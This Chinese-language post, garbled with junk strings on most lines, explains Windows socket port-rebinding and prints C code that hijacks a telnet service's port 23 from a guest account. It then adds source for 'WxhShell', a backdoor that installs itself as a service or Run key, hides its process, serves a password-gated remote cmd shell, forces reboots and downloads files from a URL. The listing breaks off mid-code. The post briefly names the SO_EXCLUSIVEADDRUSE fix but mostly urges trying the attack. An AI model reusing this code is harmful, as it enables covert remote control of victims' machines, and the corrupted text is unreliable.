在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
00A2[gO9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
hN1{?PQ j0e1CSE saddr.sin_family = AF_INET;
6rAenK-% Y3luU&' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
q +c~Bd Fw"x4w bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
dC">AW 'KNUPi| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?vP}#N!=d e(-Vp7vXG 这意味着什么?意味着可以进行如下的攻击:
YW-Ge bEzy KrN\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
,<CzS,( lN::veD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?~~,?Uxw! NVo=5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<ZeZq D)JI11a< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
0OVxx>p/x 7:S)J~s*O 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_d3/="= S L%lY 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
I [v~nY~l` l8!n!sC[, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=ThacZHb8 _&F*4t!n_ #include
6q^.Pg-Y #include
Yg")/*!H #include
>K;C?gHo #include
#c2JWDH1F DWORD WINAPI ClientThread(LPVOID lpParam);
pS)/yMlVj int main()
;KW}F| {
& Pzr)W( WORD wVersionRequested;
*ps")?tlC DWORD ret;
J$i5A9IUr WSADATA wsaData;
r;&rc:?A BOOL val;
\RyW#[( SOCKADDR_IN saddr;
e@crM'R7Lo SOCKADDR_IN scaddr;
&r!*Y& int err;
Zo36jSrCL SOCKET s;
rM(2RI4O`0 SOCKET sc;
UPJ3YpK int caddsize;
/=ro$@ HANDLE mt;
.
[\S=K|/ DWORD tid;
b\9}zmG[u wVersionRequested = MAKEWORD( 2, 2 );
*H%Jgz, err = WSAStartup( wVersionRequested, &wsaData );
@phb5 if ( err != 0 ) {
go$zi5{h# printf("error!WSAStartup failed!\n");
;3WVrYe return -1;
;?0k> }
|\/Y<_)JD saddr.sin_family = AF_INET;
D>Dch0{H,: r%~/y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^<O=<tN\ $@cg+Xrg1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
o72G oUfs saddr.sin_port = htons(23);
-*Z;EA- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y-Gqx {
YYUWBnf30G printf("error!socket failed!\n");
IH1
fvW
e return -1;
X8 (,
,>_ }
fB3W} dr val = TRUE;
1zUo.Tg0 //SO_REUSEADDR选项就是可以实现端口重绑定的
}<hyW9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
PYp<eo\ {
K7H`Yt printf("error!setsockopt failed!\n");
^ LTKX`p return -1;
0]3 #3TH }
BHh%3Q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
?tLBEoUmKT //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
yBwgLn //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
xi2!__ as?~N/} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
H#luG_) {
d)&}%
2ku ret=GetLastError();
z\fmwI printf("error!bind failed!\n");
AF}6O(C~ return -1;
8f37o/L }
'% $)"g]/# listen(s,2);
w{1DwCLKq while(1)
`}YCUm[SI {
1\_S1ZS caddsize = sizeof(scaddr);
mPy=,xYyC //接受连接请求
`|\z#Et sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,s*-2Sz if(sc!=INVALID_SOCKET)
YVMwb@| {
oyS43/." mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
CnT]uU if(mt==NULL)
`is."]%f {
a.r+>44M printf("Thread Creat Failed!\n");
cZ{-h break;
/K{`gc }
gxS*rzCG }
n -P)X<\ CloseHandle(mt);
Bg?f}nu7 }
j~d<n_ closesocket(s);
Vu3;U WSACleanup();
]\y:AkxhJ return 0;
9#CE m &c }
}6;v`1Hr DWORD WINAPI ClientThread(LPVOID lpParam)
s3sAw~++ {
bcp+7b(IB SOCKET ss = (SOCKET)lpParam;
bF5 mCR: SOCKET sc;
s%K9;(RWI unsigned char buf[4096];
x4&<Vr SOCKADDR_IN saddr;
Gf(|?"
H long num;
K/+Y9JP9 DWORD val;
&QaFX,N" DWORD ret;
D\}A{I92F4 //如果是隐藏端口应用的话,可以在此处加一些判断
0:Ow$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
a9h K8e saddr.sin_family = AF_INET;
LZirw' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
kf3 u',}R saddr.sin_port = htons(23);
5.KhI <[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
afVl)2h {
9"5J-a' printf("error!socket failed!\n");
<6_RWtU return -1;
_sEkKh8x }
x]~{#pH@< val = 100;
AATiI+\S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]!JUiFj"uD {
8reis1]2S ret = GetLastError();
yMdE[/+3 return -1;
R4 8w\?L }
+K6j p if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'jr\F2 {
MGt[zLF9 ret = GetLastError();
`1AVw]k return -1;
;7jszs.6% }
IYIlab\TZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&!|' EW {
|\PI"rW printf("error!socket connect failed!\n");
T$p!IRPt closesocket(sc);
`eD70h`XK closesocket(ss);
xc4g`Xi return -1;
Fx6c*KNX3
}
4<j)1i=A while(1)
2pKkg>/S {
n};:*N!
v //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=;hz,+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
xSnkv,my< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
b4Y< num = recv(ss,buf,4096,0);
~F gxhK2+ if(num>0)
gk & send(sc,buf,num,0);
re]e4lZ else if(num==0)
:5YL!D/& break;
7gX#^YkE+k num = recv(sc,buf,4096,0);
Rm^3K if(num>0)
~pv| send(ss,buf,num,0);
zv~dW4' else if(num==0)
[&Yrnkgr break;
IE^xk@ }
^Z
dDs8j closesocket(ss);
|`N|S closesocket(sc);
"s$$M\)T return 0 ;
V8Lp%*(3 }
$,@PY5r pTQ70V3 r |H 1Yy ==========================================================
-2o_ L? DG%vEM,y 下边附上一个代码,,WXhSHELL
?@*hU2MTC -a=RCzX] ==========================================================
YadG05PDe |^S{vub #include "stdafx.h"
!HV<2q() `(2Y%L(r #include <stdio.h>
CXI%8eFXe$ #include <string.h>
J~}%j.QQ7 #include <windows.h>
|\#~ #include <winsock2.h>
jpGZ&L7i& #include <winsvc.h>
_Se0,Uns #include <urlmon.h>
C\3;o] &U.U< #pragma comment (lib, "Ws2_32.lib")
>8v4fk
IK #pragma comment (lib, "urlmon.lib")
]
I&l0Fx })V^t3 #define MAX_USER 100 // 最大客户端连接数
!_yWe #define BUF_SOCK 200 // sock buffer
e&R?9z-* #define KEY_BUFF 255 // 输入 buffer
"j2th. SS)9+0$ #define REBOOT 0 // 重启
uK6'TJ #define SHUTDOWN 1 // 关机
n'5LY9" ZH~=;S-t #define DEF_PORT 5000 // 监听端口
o)V@|i0Js Z9)-kRQz=r #define REG_LEN 16 // 注册表键长度
EE{]EW( #define SVC_LEN 80 // NT服务名长度
~W>3EJghR, tgR4C#a // 从dll定义API
3J3Yt` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;4:[kv@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
9I|D"zXn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
pO_$ 8=G+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;h7W(NO~z &1 BACKu // wxhshell配置信息
6zZT5
Kn struct WSCFG {
a'Vz|SG int ws_port; // 监听端口
?LwBF;Y char ws_passstr[REG_LEN]; // 口令
xlP0?Y1Bl int ws_autoins; // 安装标记, 1=yes 0=no
K Y=$RO char ws_regname[REG_LEN]; // 注册表键名
^b;3Jj char ws_svcname[REG_LEN]; // 服务名
PxvD0GTW char ws_svcdisp[SVC_LEN]; // 服务显示名
>WcOY7 char ws_svcdesc[SVC_LEN]; // 服务描述信息
"9^OT char ws_passmsg[SVC_LEN]; // 密码输入提示信息
X-_ $jKfM int ws_downexe; // 下载执行标记, 1=yes 0=no
Ue?mb$ykC. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
=$wQA char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ZL7#44 !*\J4bJe };
"Dt:
8Nf^
Q"Pl)Q\ // default Wxhshell configuration
Q2)CbHSz struct WSCFG wscfg={DEF_PORT,
u]766<Z "xuhuanlingzhe",
]YciLc( 1,
{0o,2]o!: "Wxhshell",
H#+2l?D:" "Wxhshell",
-UBH,U "WxhShell Service",
/S #Z.T~~ "Wrsky Windows CmdShell Service",
Gf->N
`N "Please Input Your Password: ",
l:.q1UV 1,
hN U.y "
http://www.wrsky.com/wxhshell.exe",
sqv!,@*q "Wxhshell.exe"
'}N4SrU$ };
oG$OZTc N0V`xrS // 消息定义模块
/*G-\| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
]=%oBxWAP char *msg_ws_prompt="\n\r? for help\n\r#>";
e#<A\? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
MwHxn% char *msg_ws_ext="\n\rExit.";
wqasI@vyu char *msg_ws_end="\n\rQuit.";
cD5N'3 char *msg_ws_boot="\n\rReboot...";
ev[!:*6P char *msg_ws_poff="\n\rShutdown...";
;uhpo char *msg_ws_down="\n\rSave to ";
`gSJEq [sXnB$ char *msg_ws_err="\n\rErr!";
UfNcI[xr char *msg_ws_ok="\n\rOK!";
']:>Ww.S bCg)PJuB char ExeFile[MAX_PATH];
rUW/d3y int nUser = 0;
Htm;N2$d HANDLE handles[MAX_USER];
qCI0[U@ int OsIsNt;
3n)\D<f]# tE$oV SERVICE_STATUS serviceStatus;
;[q> SERVICE_STATUS_HANDLE hServiceStatusHandle;
V2B:
DIpr AT- // 函数声明
U:fGIEz{ZY int Install(void);
p;<aZ&@O int Uninstall(void);
WX&0;Kr int DownloadFile(char *sURL, SOCKET wsh);
Ru~;awV? int Boot(int flag);
mcb|N_#n/ void HideProc(void);
m4@Lml+B, int GetOsVer(void);
hbSXa' int Wxhshell(SOCKET wsl);
h @2.D|c)g void TalkWithClient(void *cs);
[2.;gZj int CmdShell(SOCKET sock);
n48%Uwa, int StartFromService(void);
):st-I!o int StartWxhshell(LPSTR lpCmdLine);
tL\L4>^7T 7Ml OBPh VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
R/\ qDY,@ VOID WINAPI NTServiceHandler( DWORD fdwControl );
;8Ts ayZWt| iHA // 数据结构和表定义
(r-8*)Qh8 SERVICE_TABLE_ENTRY DispatchTable[] =
dk_! ~Z {
wl0 i3)e: {wscfg.ws_svcname, NTServiceMain},
?2<V./2F {NULL, NULL}
D}/nE>* };
AmX ~KK M=sGPPj // 自我安装
,aU8.
J_U int Install(void)
THcX.%ToT {
[N_)V kpr char svExeFile[MAX_PATH];
A,;[9J2\& HKEY key;
av>Ff6w)Y strcpy(svExeFile,ExeFile);
)5ev4Qf
<y<
// 如果是win9x系统,修改注册表设为自启动
h/NI5 if(!OsIsNt) {
%g7B*AX] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
V5!mV_EoR@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
; 6q`c!p7 RegCloseKey(key);
v9GfudTZR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{q/D,Rh8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0[92&:c, RegCloseKey(key);
,D93A return 0;
+-PFISa<r }
O6b.oS'- }
%TDY &@i= }
9)S,c=z83 else {
Vy+kq_9 }_h2:^n // 如果是NT以上系统,安装为系统服务
,h},jkY4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\os"j if (schSCManager!=0)
1v'|%B;O {
K}!YXy h SC_HANDLE schService = CreateService
XSktbk (
"q7pkxEuJ schSCManager,
xP5Z -eL wscfg.ws_svcname,
n7,LfO# wscfg.ws_svcdisp,
J8@7
5p9 SERVICE_ALL_ACCESS,
`e}6/~R` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%5Zhq> SERVICE_AUTO_START,
&&TAX SERVICE_ERROR_NORMAL,
n=%D}W svExeFile,
B18?)LA NULL,
l*|m(7s NULL,
@WuG8G NULL,
8C5*: x9l NULL,
{TC_
4Y|8 NULL
hEfFMi=a` );
x-HR [{C if (schService!=0)
%!V =noo {
g*$yUt CloseServiceHandle(schService);
jWGX:XB CloseServiceHandle(schSCManager);
r^ +n06[
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
wyUfmk_} strcat(svExeFile,wscfg.ws_svcname);
AxiCpAS;J if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^03M~SNCj RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
DX<xkS[P RegCloseKey(key);
;s w3MRJ return 0;
7s2e>6Q[ }
@iaz_; }
ke5_lr( CloseServiceHandle(schSCManager);
\)+s)&JLb }
f4+}k GJN }
zF_aJ+i:~ 86ml.VOR return 1;
^e:rRk7 & }
ntD8:%m K~jN"ev // 自我卸载
G~19Vv*; int Uninstall(void)
{p7b\=WB- {
1l+j^Dt'[ HKEY key;
b-)3MR:4 b)+;@wa~ if(!OsIsNt) {
W4rh7e4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
i&zJwUr(< RegDeleteValue(key,wscfg.ws_regname);
ufXU RegCloseKey(key);
3R[,,WAj$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(d}z>?L RegDeleteValue(key,wscfg.ws_regname);
(!dwUB RegCloseKey(key);
TuMD+^x return 0;
ka[%p, H }
4d )Q }
C:P.+AU"` }
)Ga 3Ji}' else {
KL+, [M@ F i`vgD<} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'sN
(=CQ if (schSCManager!=0)
'H)l~L {
_|KeB(W SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
)!C|DSw if (schService!=0)
(#VF>;;L {
Bt1&C?_$T if(DeleteService(schService)!=0) {
"(^1Dm$( CloseServiceHandle(schService);
few=`%/ CloseServiceHandle(schSCManager);
5JA5:4aev return 0;
o3xfif }
KI8Q
=* CloseServiceHandle(schService);
bPo*L~xdk }
5:
O,-b& CloseServiceHandle(schSCManager);
6ZwFU5)QE/ }
D3kx&AR }
UZ3oc[#D=] =]hPX return 1;
=U<6TP]{ }
m/>z}d05h \:d|'r8OCM // 从指定url下载文件
h2fTG int DownloadFile(char *sURL, SOCKET wsh)
7Jvb6V<R {
qC$h~Epp4 HRESULT hr;
^f bw0 char seps[]= "/";
<P)0Y u char *token;
zFGZ;?i char *file;
SBqx_4} char myURL[MAX_PATH];
*<T,Fyc| char myFILE[MAX_PATH];
K)8N8Js( 4f{(Scg strcpy(myURL,sURL);
]Qb85;0) token=strtok(myURL,seps);
Q]2v]PJ6" while(token!=NULL)
*kWrF* )J {
B:QAG file=token;
O)WduhlGQ token=strtok(NULL,seps);
kpt0spp }
X4}Lg2ts _b1w<T
` GetCurrentDirectory(MAX_PATH,myFILE);
Bi|XdS$G strcat(myFILE, "\\");
$l!+SLK strcat(myFILE, file);
D_4UM#Tw send(wsh,myFILE,strlen(myFILE),0);
dr8`;$;G* send(wsh,"...",3,0);
ILq"/S. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+x"cWOg if(hr==S_OK)
JYU0&nZl4 return 0;
=/]d\JSp else
,6FmU$
Kn return 1;
,c\3b)ax f MDM\&f }
|UZhMF4/-L Kv26rY8Q // 系统电源模块
nkvkHh int Boot(int flag)
rlIDym9nY~ {
%knPeo& HANDLE hToken;
d)7V: TOKEN_PRIVILEGES tkp;
%T:7I[f }v?_.MtS if(OsIsNt) {
G~;hD-D~. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
k4ijWo{:0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
S9Ka tkp.PrivilegeCount = 1;
zIjUfgO/M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]Y@ia]x&P AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
NiTLQ"~e if(flag==REBOOT) {
56R)631]p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
d9n{jv| return 0;
a;$'A[hq }
crdp`}} else {
t!"XQ$g' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
yAt,XG3 return 0;
\.7O0Q{ }
E5}wR(i,4 }
^7l^/GSO else {
&\0V*5tI if(flag==REBOOT) {
[rt+KA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
M)oJ06`K return 0;
%7*Y@k-)o }
5%E.UjC else {
47c` ) *Hc if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
^,.G<2Kx& return 0;
^?3e?Q? }
ird
q51{G }
Py)'%e uBe1{Z return 1;
xe3t_y }
"T_OLegdK "/-T{p;. // win9x进程隐藏模块
TdAHw
@( void HideProc(void)
-UM5&R+o {
@9!,]n !MiH^wP HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
V\V:uo(C if ( hKernel != NULL )
]EzX$T {
?/,sKF74i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*?#t (Y[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,^_aqH FreeLibrary(hKernel);
p|D-ez8 }
`ju r`^S| {,|J?>{ return;
#!%\97ZR }
}m~2[5q%/ p<@0b // 获取操作系统版本
O!(FNv0 int GetOsVer(void)
P|S'MS';: {
mne=9/sE" OSVERSIONINFO winfo;
n?QpVROo\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
e8TJ =}\ GetVersionEx(&winfo);
/_rg*y* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
jR^>xp; return 1;
I&e,R else
W1UG\d`2 return 0;
7Lr}Y/1= }
wb>>bV+U o9:GKc // 客户端句柄模块
IJ%S[> int Wxhshell(SOCKET wsl)
jJjD) {
l|[8'*]r! SOCKET wsh;
2HNH@K struct sockaddr_in client;
$z9z'^HqO DWORD myID;
b (,X3x* 7x%0^~/n while(nUser<MAX_USER)
C(-bh]J {
pEjA*6v|, int nSize=sizeof(client);
i8`&XGEd wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
GA{Q6]B if(wsh==INVALID_SOCKET) return 1;
J! @$lyH 6c3+q+#J2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ZcXqH7`r if(handles[nUser]==0)
U~SOHfZ%( closesocket(wsh);
HgwL~vG else
5O9Oi:-!c nUser++;
_J51:pi }
c{Ax{-'R WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
L7jMpz& RoXU>a:nS return 0;
; b2)WM: }
9's/~T w@Pc7$EP // 关闭 socket
5@+8*Fdk void CloseIt(SOCKET wsh)
Uv6#d":f; {
W`C&$v# closesocket(wsh);
a$c7d~p$I nUser--;
^ ,Bxq^'D ExitThread(0);
&/7AW(? }
K/ q:aMq ba?]eK // 客户端请求句柄
13]sZ([B%| void TalkWithClient(void *cs)
)>)_>[ {
K%<Z"2!+ <!\J([NM8 SOCKET wsh=(SOCKET)cs;
?Rl?Pp=> char pwd[SVC_LEN];
%aX<p{EY char cmd[KEY_BUFF];
BPnZ"w_ char chr[1];
,=tVa]) int i,j;
`@{qnCNQ A$RN7# while (nUser < MAX_USER) {
Ms*;?qtrR * xs8/? if(wscfg.ws_passstr) {
~BVg#_P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]?L?q2>& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<3;/,>^ Pm //ZeroMemory(pwd,KEY_BUFF);
HFwT
i=0;
V%pdXM5 while(i<SVC_LEN) {
)gNHD?4x :~ 3/ // 设置超时
|WeLmy%9 fd_set FdRead;
,\5]n&T;r struct timeval TimeOut;
Vkex&?>v$ FD_ZERO(&FdRead);
bw{%X
FD_SET(wsh,&FdRead);
>RxZ-.,a TimeOut.tv_sec=8;
RIUJ20PfYQ TimeOut.tv_usec=0;
:yvUHx int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5:f}bW* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
6^zuRY; Dyp'a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
-aGv#!aIl pwd
=chr[0]; FXFQ@q*}v
if(chr[0]==0xd || chr[0]==0xa) { Dj>.)n
pwd=0; H BmjB=
break; AKM\1H3U
} `3r *Ae
i++; p&bQ_ XOH
} 4qjY,QJ
C+}uH:I'L
// 如果是非法用户,关闭 socket J3Q.6e=7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SSi}1
} (@`+Le
yPm)r2Ck
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xYM!mcA
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SZc6=^$
_y`'T;~OY
while(1) { A0S6 4(
94W9P't
ZeroMemory(cmd,KEY_BUFF); -4b9(
2:i`,
// 自动支持客户端 telnet标准 *D]/V U
j=0; kaUH#;c>_
while(j<KEY_BUFF) { 4 !~JNO
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D6_16PJE
cmd[j]=chr[0]; 33couAP#
if(chr[0]==0xa || chr[0]==0xd) { }?>30+42:
cmd[j]=0; }(J6zo9(x
break; lbg!B4,
} |U$oS2U\m
j++; Jx_ OT C
} $|z8WCJ
Kd;|Z
// 下载文件 qX:54$t
if(strstr(cmd,"http://")) { g<KBsz!{
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Czb@:l%sc
if(DownloadFile(cmd,wsh)) P 2;j>=W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w0moC9#$?
else _}`iLA!$I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y{K~g<VL
} ?{cF'RB.
else { !e.@Xk.P6
j/wNPB/NM
switch(cmd[0]) { nb22bXt
V# w$|B\
// 帮助 o?^j1\^
case '?': { 'fcJ]%-=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pp3tEZfE
break; if:2sS9r
} i/oaKpPN
// 安装 S! ,.#e (Y
case 'i': { )1J&tV*U
if(Install()) e|AJxn]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j4H,*fc
else )F]E[sga
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~b8U#'KD
break; }RDhI1x[mk
} 6P?
// 卸载 q(!191@C(
case 'r': { #i.M-6SRd
if(Uninstall()) 7u\^$25+h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5x4JDaG2
else "z< =S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "]5]"F 4]
break; ThwE1M
} gGe `w
// 显示 wxhshell 所在路径 N}VKH5U|
case 'p': { Sxjwqqv
char svExeFile[MAX_PATH]; sqJ?dIBH
strcpy(svExeFile,"\n\r"); ~+QfP:G
strcat(svExeFile,ExeFile); #<4h
Y7/
send(wsh,svExeFile,strlen(svExeFile),0); 5"^$3&)
break; 5cgDHs
} }LDDm/$^}
// 重启 M<~z=B#
case 'b': { ~naL1o_FZ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h+CTi6-p
if(Boot(REBOOT)) ,V.X-`Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~e ]83?
else { y!mjZR,&
closesocket(wsh); Y%|f<C)lx2
ExitThread(0); >F!2ib8
} gG~UsA
break; 2^Q)~sSf9
} e6QUe.S
// 关机 &JtK<g
case 'd': { D$I7Gz,w{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K\5@yqy5
if(Boot(SHUTDOWN)) K.",=\53
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6i(nyA
2!
else { DZilK:
closesocket(wsh); $3W[fC
ExitThread(0); k^S=i_ U
} bh3}[O,L
A
break; u!
x9O8y
} ;l7wme8Qk
// 获取shell 2jOh~-LU
case 's': { &^{HD }/{b
CmdShell(wsh); bQrH8)
closesocket(wsh); TmoODG>@
ExitThread(0); b{b2L.
break; SQ1.jcWW[
} nQa5e_q!u
// 退出 F(Pe@ #)A
case 'x': { [C,<Q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
B ;9^
CloseIt(wsh); vjhd|
break; B=jJ+R
} -sh S?kV
// 离开 0gL]^_+7
case 'q': { e>#*$4tg
send(wsh,msg_ws_end,strlen(msg_ws_end),0); G{pfyfF
closesocket(wsh); <_dyUiT$J
WSACleanup(); 'u@
)F`
exit(1); dpDVEEs84
break; M$B9?N6
} +%OINMo.A
} _[<R<&jG
} ^&03D5@LoY
r1\c{5Wt
// 提示信息 'nz;|6uC
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &BY%<h0c
} aEo!yea
} X};m \Bz
me_DONW
return; =!w5%|r.
} v~H1Il_+
mSp-
// shell模块句柄 Kyt.[" p
int CmdShell(SOCKET sock) 1XSA3;ZEc
{ &=Gz[1
L
STARTUPINFO si; jrbEJ.
ZeroMemory(&si,sizeof(si)); W2D^%;mw
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GpMKOjVm|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5Q#;4
PROCESS_INFORMATION ProcessInfo; =Mzg={)v
char cmdline[]="cmd"; cv=nGFx6
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l"5$6h
return 0; I?YTX
} Dd-;;Y1C
Sf);j0G,D
// 自身启动模式 jL(=<R(~y
int StartFromService(void) -wH#B<'
{ / *RDy!m
typedef struct 7g[m,48{
{ >6*"g{/
DWORD ExitStatus; }zY)H9J~
DWORD PebBaseAddress; *;"N kCf
DWORD AffinityMask; x|d Xa0=N_
DWORD BasePriority; ,d(F|5M:
